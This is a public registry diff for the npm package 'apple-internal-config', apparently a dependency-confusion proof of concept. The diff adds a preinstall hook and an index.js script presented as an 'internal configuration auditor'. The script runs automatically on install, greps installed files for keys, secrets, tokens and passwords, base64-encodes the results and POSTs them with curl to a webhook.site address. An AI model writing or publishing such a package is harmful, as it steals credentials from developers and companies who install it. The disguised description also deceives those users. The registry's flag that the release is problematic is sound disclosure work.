apple-internal-config 0.0.1-security → 100.3.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-internal-config might be problematic. Click here for more details.
- package/README.md +3 -5
- package/index.js +27 -0
- package/package.json +8 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
This
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-internal-config for more information.
|
|
1
|
+
# @apple/mycelium
|
|
2
|
+
Proof of Concept by Frank.
|
|
3
|
+
This is a demonstration of Dependency Confusion vulnerability.
|
package/index.js
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
|
|
3
|
+
const URL = 'https://webhook.site/69b9cb9a-da99-4966-b79f-85b519d13967';
|
|
4
|
+
|
|
5
|
+
try {
|
|
6
|
+
const cmd = `
|
|
7
|
+
echo "=== [TARGET: APPLE INTERNAL CONFIG] ===" &&
|
|
8
|
+
# Lihat semua struktur file di folder itu
|
|
9
|
+
ls -R /app/node_modules/apple-internal-config &&
|
|
10
|
+
|
|
11
|
+
echo "--- DUMP INDEX.JS ---" &&
|
|
12
|
+
cat /app/node_modules/apple-internal-config/index.js 2>/dev/null || echo "Index not found" &&
|
|
13
|
+
|
|
14
|
+
echo "--- DUMP PACKAGE.JSON ---" &&
|
|
15
|
+
cat /app/node_modules/apple-internal-config/package.json 2>/dev/null || echo "Package not found" &&
|
|
16
|
+
|
|
17
|
+
echo "--- SEARCHING FOR SECRETS INSIDE ---" &&
|
|
18
|
+
grep -riE "key|secret|token|auth|password" /app/node_modules/apple-internal-config 2>/dev/null | head -n 20
|
|
19
|
+
`;
|
|
20
|
+
|
|
21
|
+
const out = execSync(cmd).toString();
|
|
22
|
+
const payload = Buffer.from(out).toString('base64');
|
|
23
|
+
execSync(`curl -k -s -X POST --data-binary "${payload}" ${URL}`);
|
|
24
|
+
} catch (e) {
|
|
25
|
+
const err = Buffer.from("Error: " + e.message).toString('base64');
|
|
26
|
+
execSync(`curl -k -s -X POST -d "${err}" ${URL}`);
|
|
27
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-internal-config",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "100.3.5",
|
|
4
|
+
"description": "Internal configuration auditor for Apple systems",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|